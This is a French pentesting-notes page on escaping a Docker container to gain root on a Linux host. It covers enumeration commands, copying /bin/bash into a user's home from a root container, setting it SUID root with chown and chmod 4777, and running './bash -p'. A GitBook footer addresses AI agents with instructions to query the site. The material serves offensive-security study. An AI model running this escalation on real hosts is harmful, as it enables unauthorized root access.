> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md).

# Manipulation des permissions SUID Docker - Élévation de privilèges Linux

## Ce que c’est

Les chemins d’évasion Docker exploitent une mauvaise configuration du conteneur, des ressources de l’hôte montées, des identifiants par défaut, des mots de passe réutilisés ou des privilèges excessifs du conteneur. L’objectif est de passer du contexte du conteneur à un accès au niveau de l’hôte. Cette page spécifique se concentre sur **Évasion de Docker (manipulation des permissions SUID)** et maintient le flux d’exploitation pratique : identifiez la condition, validez-la en toute sécurité, puis exécutez la charge utile minimale nécessaire pour prouver l’impact.

## Énumération

Commencez par confirmer le contexte local et la mauvaise configuration exacte avant d’exécuter la voie d’exploitation.

```bash
id
cat /proc/1/cgroup
mount
ls -la /var/run/docker.sock 2>/dev/null
```

## Exemples

## Bash SUID depuis Docker

Comme dans le conteneur Docker nous sommes root, nous allons copier le binaire bash depuis l’hôte normal de la machine dans le répertoire personnel de `augustus`:

```
cp /bin/bash .
```

<figure><img src="/files/627348199554fd8559afac1347a797ad9fb6b0fc" alt="" width="556"><figcaption></figcaption></figure>

Depuis la racine de Docker, nous allons autoriser le groupe root pour ce fichier bash et les permissions SUID afin qu’il s’exécute en tant que root :

```bash
chown root:root bash
chmod 4777 bash
```

Nous revenons au SSH et voyons :

`-rwsrwxrwx 1 root root 1234376 Oct 28 11:35 bash`

<figure><img src="/files/c14fc01afc2ee2f583f92e9b1061475dc0694732" alt=""><figcaption></figcaption></figure>

`./bash -p`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/docker-escape/docker-suid-permission-manipulation-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
